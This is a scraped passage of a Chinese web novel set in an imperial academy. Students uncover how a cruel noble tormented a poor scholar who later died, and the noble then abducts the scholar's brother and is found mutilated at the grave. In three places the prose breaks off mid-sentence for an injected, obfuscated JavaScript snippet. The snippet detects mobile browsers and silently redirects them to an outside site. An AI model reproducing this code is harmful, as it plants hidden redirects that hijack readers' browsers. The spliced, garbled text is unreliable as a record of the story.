第四旬一开学,裴逍手上的伤就被姜飒看到了,姜飒追问是怎么回事。裴逍担心姜飒知道后,做出什么冲动的事,便推说是自己练箭不小心受伤了。
没想到姜飒嘴上虽然应了,私下却缠着百里摇光问出了实情。他一气之下,冲去五年生所在的斋舍要找窦尧臣算账。
裴逍得知姜飒去了五年生那里,连忙赶去要拉他回来,路上正遇到他往回走。
“你没冲动做什么吧?”裴逍忙问。
“没有。”姜飒气鼓鼓道,“窦尧臣那厮请假了,没来书院。”
裴逍稍松了口气,那日窦尧臣受了伤,想是在家中养伤。
裴逍见姜飒仍一脸气愤,非要给自己出气的样子,便说,“你放心,我不是会白白吃亏的人。对付窦尧臣,我自有主张。你千万别贸然行事。”
姜飒听闻,停下脚步问道,“你有什么计划?带上我”。
“好,那你先答应我,别自主主张,必须听我行事。”
“嗯,都听你的。”
裴逍和姜飒一起去五年生斋舍区找了祝徵,就是阮先生所说与祁彦辰关系好的那个学子。
祝徵比他们俩大几岁,面容清秀、温文尔雅。提起祁彦辰,祝徵忍不住叹气,“太可惜了,如此大才,竟未得施展就已不在世。”
裴逍问,“祁学兄离世前可有什么异常举动?”
祝徵想了想,说道“彦辰离世前一段时间,身上经常有青紫的痕迹,但都是在四肢和躯干上,平素不容易发现。我也是在他沐浴换衣时,才看到的。我问他,他只说是自己不小心摔伤的。但是我觉得不是摔伤,而可能是被窦尧臣那帮纨绔打的。”
“窦尧臣那帮人打的?”姜飒猛地站起问道。
“嗯,我猜测是这样。两年前,窦尧臣那几个纨绔刚来国子学就读。他们不学无术,仗着家世经常欺负同窗。我和彦辰尽量躲得他们远远的,不去招惹。后来不知因为什么,他们突然盯上了彦辰,开始欺凌他。”
“有一次,下大雨。我看到那群人硬生生夺走了彦辰的伞,将他推倒在地,还接连踹了好几脚。我想去帮彦辰,但是又忌惮他们的势力,只好等他们走后,才去扶彦辰起来。彦辰一身狼狈,却神色淡然,胸中护着的两本书倒是没湿也没脏。”
“那段时间,他们总是把彦辰的床铺给浇湿了,让彦辰无法安寝,他还与我在我的床上一起挤着歇息过几次。还有与彦辰同斋舍的那学子,叫作沈维翰,也被窦尧臣那帮人拉拢,晚上将斋舍门关得严严的,让彦辰在外吹一夜冷风。”
“可恶!”姜飒双手握拳,在圆桌上敲了一下。
裴逍轻叹了口气,这类事,书院里其实也时常发生,贵族子弟欺负寒门子弟或一些家世没那么好的士家子弟。裴逍深有体会,她刚来时,不就被夏清泽那帮纨绔刁难过?
“祁彦辰没有跟监丞反映吗?”姜飒问。
“反映过,我也与监丞说过,可是监丞根本不管,他不敢得罪窦家,只搪塞说他们几个只是玩笑而已。”
果然是这样,这也是裴逍一开始就没打算将窦尧臣带家丁劫掠她的事情,报知书院的原因。
“咚”地一声,姜飒又在那桌案上拍了一下。
祝徵看了他一眼,接着道,“不过,即便彦辰遭遇了这样的为难和欺凌,他也始终没有很大的反应,没有谄媚讨好,也没有刻意作对,仍旧做着自己该做的事情,仿佛那些人就是些蚊蝇,只是叮咬打扰他一下而已。”
“所以,我实在想象不出到底发生了什么样的事,最终打破了彦辰的信念,让他轻生,而且还是用自焚那样的方式。”
一时间,三人都沉默了。
过了一会,裴逍问,“学兄可还记得出事之前,最后见他是什么场景?”
“记得。”祝徵语气低落,“那天是一旬最后一日,刚刚旬考完。我和彦辰在校场练习射箭,因为我射箭很差,他在指导我练。彦辰虽然看着文弱,但是箭术还是很好的,每次都是甲等。可能他有天分,又足够努力、足够专注吧。我们正练习着,彦辰好像看到了什么,急匆匆地跑出校场,往书院门口的方向跑去了。我喊他,他也没回应。就是那天他跑出去后,我再没见过他。然后隔了一日,下旬一开学就得知他已经离世了。”
“学兄,京兆府查这案子的时候,有来书院问过你这些事吗?”裴逍问。
“没有。这案子很快就结案了,说是那城郊别业常年没人住,那主人也不知彦辰怎么会去那里,又为何会自焚。祁家家贫,家中据说只有一个比彦辰还小几岁的幼弟,那别业主人就是要祁家赔偿,也根本不可能,于是也就没再追究。京兆府确认了彦辰身份后,见也没有其他苦主,别业主人都认了,也就结案了。”
“不过,你们今天问我的事情,前不久还有个人来问过我,就是祁彦辰的弟弟祁青阳。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800021|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“祁青阳是祁彦辰的弟弟?”姜飒惊讶问道。
“嗯,他自称是彦辰的弟弟,来这里读书了,想了解下兄长之前的事情。”
“那祁青阳知道了他兄长被窦尧臣那些人为难的事吗?”裴逍问道。
“彦辰受欺负的那些事我没有对他讲,只讲了最后那天看到的情况。我怕他难过,也怕他心里怨恨,要去找窦尧臣几人报复。那几个纨绔,京中多少达官贵人也不敢得罪,他一个孤贫少年,如何是那些人的对手?”
·
裴逍和姜飒离开五年生斋舍区域,往回走。
姜飒突然问道,“祁青阳竟然是祁彦辰的弟弟,阿逍你此前知道吗?”
裴逍摇了摇头。
“他为何不说呢?我们那日在酒楼里听思卿讲祁彦辰的事情,他也什么都没说。”
“或许是心里难受吧。”裴逍想起那日祁青阳确实说话很少,神情反应与平日里是不太一样。
“那倒也是。”姜飒应道,说着他又提出了一个疑问,“祁彦辰出事前,究竟看到了什么才追出国子监的?”
裴逍也在琢磨这个问题,听姜飒问起,回应道,“祝徵学兄说他是往书院门口追出去了,那看守书院大门的院工或许有见到过。”
那看守大门的院工李老丈在国子监待了有十来年了,祁彦辰出事之时,他自也是在的,就是不知是否记得那天的事情了。两人来到国子监门口,寻到了角门里的李老丈。
“祁公子?我知道。他是个好人。有次我与书院里的小厮搬重物,扭了腰,祁公子背了我去医舍看大夫的。那医舍里的花芷姑娘也是个好人,他们都不在意我是个奴才下人,帮我治伤。要是书院里那些个公子哥儿,恨不得离得远远的,好像我们身上有毒似的。”李老丈回忆道。
“医舍里的花芷姑娘?您是不是记错了,医舍里祝医师的仆从是兰惜姑娘啊。”姜飒问。
“没记错,兰惜姑娘是后来的,大概一年多前来的,之前跟着祝医师的是花芷姑娘。”
“竟还有这么回事。”姜飒道。
裴逍又接着问,“李老伯,您还记不记得,祁彦辰出事前一两日,他曾从这大门出去过?”
李老丈思索了片刻,回忆起来,“是有这么回事。他当时跑得很快。因为祁公子向来行走做事都是慢慢的,所以,那天我看到他跑着出去书院,感觉很奇怪,就多看了几眼。”
“那日正是旬考结束,学子们家中很多来接的,也有很多自行归家的,外面车马和人很多,也有车马行的车夫在外等着赁马车。祁公子匆匆赁了辆马车,当时他身上没带银钱,车夫不肯走。我看到后,拿了银钱准备送过去,还没到跟前,就见他解了身上的玉佩给了那车夫,那车夫当即就驾车走了。我想拦着都没来得及。”
“那您可看到他在追什么人?”裴逍问。
“没看到,那天书院门口各家各府的人和车马挤做一堆,看不出来祁公子在追谁。而且祁公子出来前,我还有点打盹,是看到他神色不同以往,才清醒了点。”
“对了,前不久也有一位如您二位这样年纪的公子,来跟我打听过祁公子的事。说起来,那位公子和祁公子言行举动还有些像呢。”
34. 第34章
裴逍和姜飒对视一眼,看来祁青阳也在查他兄长的事情。李老丈这里没有更多线索了。他们从李老丈这里得知,车马行的车夫们会在国子学休沐的时候,来门口等着揽活计,便打算等这旬旬假时再去查探。
三月初三联社活动时间,校蹴鞠队选拔开始。
选拔比试分为三轮进行。
第一轮是报名学子个人能力比拼,会对颠球、运球、射门等方面进行考评,并佐以加分项,可展示特殊球技。
第二轮由报名学子两两组队对抗,抽签限时比试,但并不完全以获胜来选人,而是为了观察学子们在集体活动中的反应和大局意识。
第三轮是将前两轮中表现优异的学子组成两队,进行对抗,观察在实际比赛中的表现,进而优中选优。
校蹴鞠队人员选拔比试由安王主持。
选拔比试最终选出了十五人的队伍,正式球员有十二人,还有三位为替补人员。
百里摇光、裴逍、姜飒、夏清泽、祁青阳、虞砚、严铮几人均中选。剩余队员都是三年生往上的了。人员确定以后,安王宣布了队伍纪律及训练要求。而与太学的比试时间定在了四月十九。
·
这旬旬考完,裴逍和姜飒要去书院门口,找车马行车夫查探。
百里摇光和夏慕卿看两人神神秘秘地也非要跟了来。
这几人身份显赫,裴逍倒不担心他们被牵连。而祁青阳,自裴逍险些被窦尧臣抓走那日后,便似乎有意躲着裴逍。除了上课和蹴鞠队训练外,他总是以要在院中做工之类的理由避开几人的团体活动。而且裴逍在查祁青阳兄长的事情,也不便与祁青阳说。是以今日,只有他们四个一起行动。
国子监门口停了许多官眷的车马,离书院门口稍远一点的一溜墙根下停着一排马车轿子,几人便去打探。
车夫们听闻是要找一位两年前在国子监门口收过玉佩的车夫,都说不知道。
“怎么又是找收过玉的车夫,前不久就有个公子来问过”。一个车夫说道,“但是一般找我们车马行的都是家世不那么好的,不然家中会有人来接的,或者突然下雨天气不好的情况应急的。一般不会有人那么大方直接给块玉来抵费用的。”
裴逍想,若是车夫真的收了玉,也未必会承认,便换了个角度探问,“不知两年前有没有哪位师傅之前一直与各位在这里接活,后来就突然不来这了,或者不做车夫了?”
“这倒是有一位”。一位车夫回道,“之前的马四,一直跟我们在这的,两年前突然不干了,后来听说是去了青楼当打手了”。
“对,是有这么个人。”有几人附和道。
“他去了哪家青楼?”姜飒问。
“云香院”。
·
半个时辰后,云香院门口。
裴逍一心想着查线索,当即就要迈步进去,姜飒拽住了裴逍,“你真的要进去吗?”
“嗯。”裴逍应了一声。
姜飒看了看她和后面的夏慕卿、百里摇光,“要不我一个人去问,你们在旁边茶楼等我消息吧?”
“这么说,看来你是去过咯?”夏慕卿摇着折扇,玩笑道。
姜飒移开眼,一副心虚的样子。
“没,没去过。”
裴逍没想那么多,只道,“这车夫两年前突然不做原本的行当,其中缘由想必没有那么简单,当时发生的事恐怕也不好问出。我想亲自去问。”
姜飒正欲开口,突然夏清泽的声音在几人不远处响起。
“呦,你们几个竟然会出现在青楼门口,我怕不是眼花了?”他一身绫罗,站在不远处,笑看着姜飒几人,身边还跟着虞砚几个纨绔。
姜飒一脸不服回应道,“怎么?你能来,我们不能来啊?”
“你又不是没来过,我说那几个——”夏清泽还没说完,就被姜飒冲来捂住嘴巴揽着往楼里走了。
裴逍见此,便要跟着往里走,随即想到什么,她回头看身后的两人。
夏慕卿一脸好笑地说,“怎么,你们能来,我们就不能来了?”被他揽着的百里摇光,两只耳尖泛红,眼神飘忽道,“不放心你们,我得跟着”。
裴逍便没再说什么,转身走了进去。
夏清泽显然是常客,颇为大方地喊了他们四人也去了他的雅间。
房间很大,设了十几张矮几,众人一入座,老鸨便带了二十来个莺莺燕燕的女子鱼贯而入。老鸨欲退出,裴逍叫住想让其将楼中打手都找来。
那老鸨犹豫不愿照做。
夏清泽见裴逍如此要求,想他这么做自有道理,之前也承情过,便对那老鸨说,“按裴公子要求把人找来!”
那老鸨当即应下去叫人。
不多时,十几个打手都进来了。
裴逍问,“哪位是马四?”
话音刚落,就见其中十几人纷纷看向站在最后边,一个低着头的矮壮之人。
那人见此,当即便要往外跑,被百里摇光挡住了去路。
裴逍道,“马四留下,其他人可以出去了。”
就在其他人退出之时,马四突然趁乱冲向窗户方向,欲跳窗。
幸而被坐在那侧的夏慕卿一把揪了回来。
人多眼杂,几人另开了个房间探问马四。
马四一进房间便跪在地上求饶,“各位贵人,小人什么都不知道,放过小人吧。”
裴逍没理会他所说,直接问道,“两年前,国子监门口,有一位公子给了你一块玉佩赁马车,让你送他去了何处?”
马四抬起头又四面看了看,见跑不了,认命说道,“是有这么回事。那公子让小人驾马车到了西城门口,他就下去了”。
“撒谎!”裴逍冷声斥责道,“如果只是这样,你又何必车夫都不敢做了,见有人找你就要跑!”
马四被吓了一跳,匍匐在地连连告饶道,“公子们放过小人吧,小人真不敢说”。
“不敢?可是当日见到了京中哪个权势子弟?”裴逍试探问道。
那马四一惊,跪在地上磕头的动作突然停了。
见询问方向没问题,裴逍接着追问,“是国舅爷窦公子?”
马四听到这个名字身体都抖了起来,“小人什么都没看见,什么都没看见”,说着又开始磕起了头,比之前磕得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800022|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都更加用力。
姜飒见那马四有所忌惮,不敢实说,祭出了保命符道,“我是温国公嫡孙姜飒,你从实招来,小爷我保你周全。”
马四见此,才停住磕头,神色稍安。裴逍让其起身坐着说。
“当时,那位公子没带银两,急着追一辆马车,就给了我一块玉,让我驾车追上去。前面那辆马车非常华贵,一看就不是寻常人家。因为怕人家发现,我们又不敢追得太近,只一路稍远一点跟着,一直追出了城,到得西郊。”
“那马车停在了一个大院子门口,门口还有人守着。那公子就让我在远处等着,他一个人往那院子去了。”
“隔得老远,我见那公子好像是拿了弓箭,射了门口的看守,冲进院子去了。过了一会,院子那边吵闹起来,那公子带着个姑娘跑了出来,后面还有不少人追着。那追在后面的人里,有一人,我认得是国舅爷窦公子。因为在国子监门口做车夫,听别人说过。”
“我很害怕,想跑。但是想那公子让等他,又给了一块玉佩,我直接走又不厚道,就稍等了一会。那公子快到近前,后面的人已经紧追了上来,他就把姑娘向马车这边推了过来,喊我先送姑娘回去。”
“那姑娘本还犹豫,公子让她先走,说他有办法脱身。我见此也当即拉了姑娘上车,驾车掉头往回奔。那时,后面有打斗声,还有人追赶,但因为我们毕竟驾了车马,速度还是快的,就离开了那片地方。”
“姑娘让我驾去国子监,还想让我等她出来再去那别院,我说什么也不敢再去了,只把路线跟她说了下就走了。”
“后面还发生了什么我就不知道了,只是第三日便听到消息说西郊有一院子起火了,烧得什么都没了,还有一个国子监的学生死在了里面。我仔细问了下那院子的位置,恰恰就是我驾马车送那位公子去的地方。我又想到里面还牵连了国舅爷窦公子,我实在害怕,怕惹上什么事情,所以车夫也不敢做了。青楼里人员混杂,我便来这里讨生活,想着也更安全些,没想到还是被你们找上了。”
姜飒叫了家丁安置马四。
裴逍要回了祁彦辰的玉佩,想等合适时机交回给他弟弟祁青阳。裴逍不知道现在祁青阳对于他兄长的事情是怎样的心态,不过,既然他还在查,约莫也是认为他兄长的死有蹊跷。裴逍他们查过来,这玉佩还在马四手中,可见祁青阳还没查到这里。不过倘若是自己一个人,想要查到这里,也是不容易。不得不说姜飒他们几个还是帮了大忙的。
·
就在几人查访线索之时,在书院里的祁青阳突然被人打晕绑走了。
等他醒来时,却是身在一辆行进的马车上。他从未得罪过什么人,自己也非富家权势子弟,按理不至于遭人惦记,他想不出什么人会从书院里把他绑出来。
没过多久,他被人拖拽着丢到了窦尧臣的面前。
窦尧臣坐在椅子上,摸着自己被百里摇光打得一边青紫肿胀的脸颊,阴沉沉地开口。“祁青阳,要不是你跑去给百里摇光报信,裴逍已在我手中,我也用不着抓你来。既然你不识相,那就替裴逍受着吧。他们我轻易动不了,你我还对付不了吗?”
35. 第35章
祁青阳手脚都被绑着,嘴巴都被布条塞住,他无法出声,只能双目愤恨地瞪着窦尧臣。
“瞪什么瞪!”窦尧臣蹲下身,用力地钳住祁青阳的下巴,挑衅道,“你这眼神倒是很像你兄长。他要是知道他弟弟也落在我手里,哈哈哈哈,那他会不会在阴曹地府里气得活过来?”
祁青阳愣了片刻,待反应过来窦尧臣是说兄长曾落在他手中,祁青阳眼神瞬间变得凶狠,奋力地挣扎扭动,试图冲撞窦尧臣,却被窦家家丁按住。
见祁青阳如此,窦尧臣似乎更兴奋了,他吩咐家丁,“扔床上去”。。
接着他盯着祁青阳,一脸阴笑,说道,“祁彦辰那个家伙不中用,小爷们也就消遣了一次,他就想不开自尽了。希望你别像你哥哥那么脆弱。”
祁青阳双目圆瞪,心中仇恨和羞怒熊熊燃烧。他扭动身体,面向床外,背在身后的双手,加快动作,将捆绑的绳索,置于藏在袖中的袖箭箭头上摩擦,眼看着窦尧臣一步步走近......
“世子!世子!”窦家的下人突然敲门喊道。
窦尧臣停下脚步,“要死啊你们,这时候叫什么叫?”
“世子,老爷回京了,府中传来消息老爷急召你。”
“我爹?我爹怎么突然回京了?”窦尧臣奇怪,他父亲常年在西南边境驻守,怎会突然回京。
“奴才不知,只是老爷急着找您,如果找不到的话怕是不好。”
窦尧臣想到父亲阴沉严厉的模样,也是感到忐忑。只好先把祁青阳关在这,等见过父亲得了空再来,他与家丁吩咐道,“你们看好他,我先回府。”
窦尧臣走了。
祁青阳割开了绳索,取出嘴里的布条,恨恨望着门的方向,自语道,“原来哥哥是被你所害!我必让你付出代价!”
他刚说完,便听到外面突然有人喊,“走水了!走水了!后院走水了!”
他赶忙起来,将门开了一点缝隙,向外查看,见只有一个下人守在门口,其余人估计都去救火了。
正在这时,那守在门口的人突然被一棍子打晕了。
祁青阳推开门,打倒家丁的人已经转过过道不见了,他只看到了一片白色的衣角。
眼下这情况,他只能先脱身再找机会下手了。
祁青阳顾不及想是什么人救了自己,趁没人看守,迅速逃出院子。出了院子,他看见不远处一棵树下,竟然有一匹马,他赶忙过去骑上,纵马向城内飞奔。虽然他骑术不太好,但是现在逃命之际,身体的潜力都爆发了出来,竟是从未有过的速度。
·
裴逍几人探得消息便离了云香院,到附近酒楼用膳。
说及今日探查情况,姜飒猜测道,“这么看来,当时祁彦辰应该是为了救一个女子与窦尧臣发生了冲突,而后将该女子先送走,自己却没有脱身了。”
“嗯,那祁彦辰的死很可能也与窦尧臣有关系。”百里摇光道。
“马四说将那女子送回了国子监,可国子监里哪来的女子?”夏慕卿奇怪。
姜飒和百里摇光一时没想到,裴逍想起什么,开口道,“医舍。”
“医舍?那倒是。”经裴逍一提醒,夏慕卿也想到了医舍中有位兰惜姑娘。
“那我们可以找兰惜姑娘询问情况了?”姜飒问道。
“两年前在医舍里的不是兰惜姑娘。”裴逍想起院工李老丈所讲,接着道,“那时,现在的兰惜姑娘还没来,是一位叫做花芷的姑娘在给祝医师做医仆。”
姜飒也想起来了,“对了,守门的李老丈提到过,医舍里的花芷姑娘曾为其治疗腰痛。那祁彦辰是为了救花芷姑娘去的。我们可以找这位花芷姑娘打探后来还发生了什么?”
“没错,这是一条线索。”裴逍应道。
“不过这位姑娘怕是不好找了,说不定也避祸躲走了,就像咱们之前救下的船上弹琵琶的那个姑娘。”夏慕卿道。
姜飒好奇问,“弹琵琶的姑娘?这是什么事情?”
夏慕卿便讲起了之前救船上琵琶女一事,提及窦尧臣曾故意推林曦月入水,想占其便宜。
姜飒突然一拍桌子,骂道,“这姓窦的也太荒唐了吧,女孩要轻薄,男子也不放过。竟有这样的人?!”
“男子也不放过?”裴逍险些被掳走一事,百里摇光见裴逍不欲告知姜飒,便也没同夏慕卿多说。此时,夏慕卿敏锐地捕捉到这个信息,疑问道。
姜飒尴尬地看向裴逍,裴逍摇了摇头,无奈道,“上旬旬假前一日,窦尧臣带了家丁,还用了迷药,想将我抓走。那日他说了许多污言秽语,听其意,是欲对我不轨。”裴逍想起那日窦尧臣所言,不禁轻蹙了眉头。“而且按他所说,他可能曾经对祁彦辰做过不轨之事。”
几人陷入沉默。
半晌,姜飒方才道,“京中子弟喜好男风之人也是有的,就那些秦楼楚馆中,也有那些个小倌的。”他对京中纨绔子弟风气显然更为了解。“不过这也讲究个你情我愿,强迫民男民女实在太过分了!而且,他下手的范围也太大了,国子学的同窗,医舍的医仆,林相的女儿,弹琵琶的民女,恐怕还有不少我们不知道的受害者。”
“我们不知道的受害者想必是有的,裴逍一身功夫,那日都差点着了他的道。普通家世的学子,或者没有自保能力的弱女子,一旦被窦尧臣沾惹上,恐怕大多只能忍气吞声,甚至被逼迫到绝路也未可知。”百里摇光愤愤道。
几人也都想到了这层,一时气氛凝重沉郁。
过了一会,姜飒突然振奋了起来,“你们别灰心丧气不说话嘛,一桌子除了我,合着变成了三个裴逍。”
裴逍没好气地抬起眼皮瞅了他一眼。
“哈哈哈。”百里摇光和夏慕卿笑了起来。
“这窦尧臣行径如此恶劣,简直天怒人怨,我们何不替天行道,让他付出代价?”姜飒无畏无惧、无遮无拦大声道。
裴逍抬头四处看了看,扯住姜飒衣袖,“你小声点!”
姜飒连忙放低声音道,“如何?你们敢不敢?”
“有何不敢!”百里摇光当即回应,声音又扬了起来。
裴逍扶住额头,“先等等。”
“这件事,是我与窦尧臣的私怨。我孑然一人,不怕他使什么手段。可你们不同,家中还有亲族,不要冲动行事。”裴逍道。
“这不用担心,我家中亲族肯定站我这边!”姜飒道。
百里摇光自然也不担心家中反对他做如此惩恶之事,只是他看了夏慕卿一眼,还是道,“裴逍所说也有道理,更何况现在窦尧臣的事情也没有实证,还是要从长计议。”
说完,他又看着裴逍强调道,“不过,有什么需要帮助的,你一定要开口!”
夏慕卿虽然一副闲云野鹤、与世无争的性子,实则却是极为通透之人,生于皇族,却也受制于皇族,终生都只能做富贵闲人,轻易不敢惹出什么事,万一招到猜忌或什么祸事怕牵连了父亲和妹妹。裴逍和百里摇光所说其实是在帮他解围,如果姜飒硬要让大家表明态度,他顾念家族情况,确实为难。
裴逍也看出夏慕卿为难,想着岔开话题,便从怀里掏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800023|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出了那三块碎玉,问道,“你们知不知有什么办法可以把这玉补好?”
姜飒一看,这玉都变成这个样子了,还有补的必要吗,便道“阿逍,改日我送你一块,这个别补了。”
“你知道什么?这玉想必对裴逍来说很重要,你再拿一百块也比不得人家这一块。”百里摇光毫不留情地怼道。
姜飒愣住了,也没顾上还嘴。
“这块玉是家父所留。”裴逍摩挲着那碎玉,解释道。
“阿逍,对不住,我不知道这玉是你父亲留给你的。”姜飒不好意思地说。
“无妨。”不知者无罪,裴逍自然不会介意。
百里摇光看了看那碎玉,说道,“我三叔空闲时常常摆弄一些手工器具,做些武器机关之类的东西,他外出公干去了,大概还要月余才能回来,到时我问问他可能补这玉。”
裴逍眼睛一亮,“那就拜托你了。”
·
祁青阳在城外就将马放走了,他担心这马是窦家的,窦家的人根据这马找了来。
下马时,他见那缰绳上挂着一个小锦囊,打开一看,里面有个字条。他匆匆看了字条,一路思索着赶回了国子监。
字条应是救他之人留的,上面娟秀的小楷字体写着,“窦父未归京,系我假传消息引走,窦很快便会发现返回。此次侥幸救得公子,后危难测,望保重,休学离京暂避为好。”
除了兄长,谁还会冒着风险救他呢?
他突然想起了一个人,那少年为了救他,独自留下挟持了窦尧臣,甚至做好了同归于尽的打算。
但是,祁青阳没有替他向百里摇光报信。
因为祁青阳担心在他离开的时候裴逍便遇不测,所以躲在湖岸,想着若到万不得已,他便不顾一切去救。
只是,他到底没有正面出现去救裴逍。裴逍定然也知道了,自己没找百里摇光报信。裴逍怕是以为自己是个胆怯自私之人,又怎么会在今日去救他?况且,若是裴逍,也没有理由不露面。
祁青阳实在猜不出这人是谁。
不过,这并不影响他为兄长报仇。
他原本来这国子监就是为了查兄长之事,之前查线索遇到阻碍,不成想今日从窦尧臣这始作俑者口中得知了真相。
“既是如此...”他狠狠捏紧了那个锦囊,没有再出声。
·
第二日是旬假。
当日午后天空便阴阴沉沉,到了傍晚,彤云密布,眼看要下大雨。
裴逍到院中摘取晾晒的衣物,见百里摇光直直地望着天。
裴逍顺着他所看方向,见北边天空上飘着一只燕子形状的纸鸢,随风被鼓吹起来。裴逍心中诧异,这样的天气,竟还有人放纸鸢,而且眼看要下雨了,那纸鸢也没有要收回的迹象。
有雨滴滴落在裴逍脸上,她蓦地反应过来,冲百里摇光喊道,“要下雨了,快收衣物吧。”
百里摇光方才收回目光,“嗯”了一声,也连忙将衣物拽下卷起回屋。
大雨直下了一晚,夜间电闪雷鸣,狂风大作。
次日一早,裴逍往课室走去,路上便听到有学子在讨论,“昨晚天降异象!圣人祠的屋檐一角被雷劈中烧黑了,真是不祥之兆!”
裴逍到了课室,见也有许多学子在讨论这件事。她不信这些怪力乱神,只认为应该是意外,并没有在意。
下午,联社活动时间。
裴逍几人正训练蹴鞠,夏清泽姗姗来迟,带来了一个消息,“你们知道吗?窦尧臣那厮失踪了,窦家正全城找他呢。”
36. 第36章
“窦尧臣什么时候失踪的?”百里摇光问。
“据说是昨夜里一直未归,家丁以及平日里常与他混在一起的那些纨绔,也都不知道他去了哪儿,今日窦家在城中四处找了起来,大有要掘地三尺的架势。”夏清泽回应道。
结束训练后,姜飒靠近裴逍低声问,“阿逍,你是不是背着我去找窦尧臣麻烦了?”
裴逍摇了摇头。
两人看向夏慕卿和百里摇光,夏慕卿双手一摊,示意并非自己所为。
百里摇光神情稍显凝重,道,“我也没有。”
“咱们刚刚查窦尧臣,他就失踪了,实在是有点巧啊。”姜飒说道。
“确实有些巧,虽然以窦尧臣一向行事,得罪的人定然不少,不过真敢报复的怕是不多。”夏慕卿道。
·
第三日一早照例旬考放榜,裴逍几人往告示栏走去。
姜飒边走边道,“过去两天了,还没听说窦尧臣被找回来,这窦尧臣怕不是遇到什么不测了吧。”
“多半是被什么人掳走了,只是这伙人也有点本身,竟然能让窦家寻遍城内也找不到。”夏慕卿道。
“咦?告示栏那里人好多,吵吵嚷嚷的,怕不是发生了什么事。”
姜飒话音落,几人向那边看去,果见告示栏前人头攒动,异常骚乱。
“难道是成绩有什么大的变动?”百里摇光猜测道。
几人走近,百里摇光仗着身量长,视野好,与几人报道,“成绩和之前没什么变化啊,裴逍还是第一,祁青阳和林致远第二,我和慕卿还是中上,咦,姜飒这家伙倒是进步了几名。”
姜飒听闻自己名次进步了,拽着百里摇光跳起来看榜文,“真的吗?我进步了吗?”
裴逍一直未开口,她诧异于周遭学子们的反应,便留神听了一下,只听她旁边一个学子说道,“这死得也太蹊跷了!还是那么个死状!”
“谁死了?”裴逍插进去问了一句。
那学子看了眼裴逍,接着道,“国舅爷窦尧臣!”
“窦尧臣死了?!”姜飒惊叫了一声,这个消息瞬间将他和百里摇光的注意力从榜文上吸引了回来。
他忙问,“怎么死的?”
那体胖眼圆的学子见他的话吸引了更多人的注意,索性提高声音道,“可离奇了!”说着,他捂住了胸口,一副很是受惊的模样,“听说尸体是在祁彦辰的墓前发现的——”
裴逍几人互相看了看,眼中均是震惊。
“祁彦辰?以前那个寒门才子?他的墓在哪儿?”一长脸的学子问。
体胖学子回道:“听说在城东延兴门外的玉山上。”
“接着讲,接着讲,还有什么?”他旁边一瘦瘦的学子催道。
体胖学子向四周看了看,压低了些声音,接着说:“那窦世子的尸体被发现时,竟然是趴在祁彦辰的墓前,而且浑身赤裸,不着寸缕。更离奇的是——”说到这,他又压低了些声音,“他的命根子没了,那里血肉模糊一片。想是因为被人强行去势疼死的!”
“啊!”姜飒瞪圆了眼。
百里摇光猛吸了一口气。
夏慕卿摇了半天的折扇收了起来。
裴逍轻蹙了眉,一脸凝重。
周遭的学子听到纷纷惊呼,直道可怕。
“还没完呢。”体胖学子又接着道。
长脸学子问,“怎么?还有更离奇的?”
“可不是!”体胖学子接着道,“那窦世子跪在地上,前面是一团血肉,后面——”说着,体胖学子两手捏到了一起,“也是!”
“后面?什么后面?”姜飒疑惑问道。
体胖学子扫了眼周遭,压低了声音,“谷道。”
众学子听了顿感汗毛直立,惊呼不已。
“窦尧臣这混蛋竟然就死了?!”姜飒坐到了位置上,对窦尧臣死讯的震惊仍然不减。
“死法如此离奇,地点也不同寻常,像是有深仇大恨。”夏慕卿一手轻敲着桌角,徐徐说道。说话间,他状似无意地看了旁边的祁青阳一眼。
祁青阳低着头,不知在想什么。
“是啊。肯定和祁彦辰的死有关,不然不会选这么个地方。”姜飒应道。
百里摇光转过身体,侧坐过来道,“那凶手是为了给祁彦辰报仇?”
几人沉默了,心中都在想,若凶手是为祁彦辰报仇而杀了窦尧臣,那么最有嫌疑的,岂不就是祁彦辰的弟弟——祁青阳?
他们虽然厌恶痛恨窦尧臣,却也不愿看到祁青阳为此前路尽毁,甚至失去性命。
裴逍克制住自己看祁青阳的欲望,低了头不语,心中却在没来由地祈祷,不是祁青阳所为。
夏慕卿停下了敲桌角的手指,压低了声音,不知是说与裴逍几人,还是说给他旁边的人听。“窦家人视窦尧臣为掌上珍宝,尤其他家老夫人对他更是言听计从。窦尧臣就这么死了,窦家定不会善罢甘休,怕是宁可错杀一千,也不放过一个。但凡是有嫌疑的,这次怕都要惹上麻烦了。”
果然临近中午,京兆府就派了人来,要带走祁青阳查问。
裴逍他们当时正在上礼乐课,外面突然传来一阵喧哗声。
康王便叫学子们自行温书,他召了随从将他推出去查看情况。
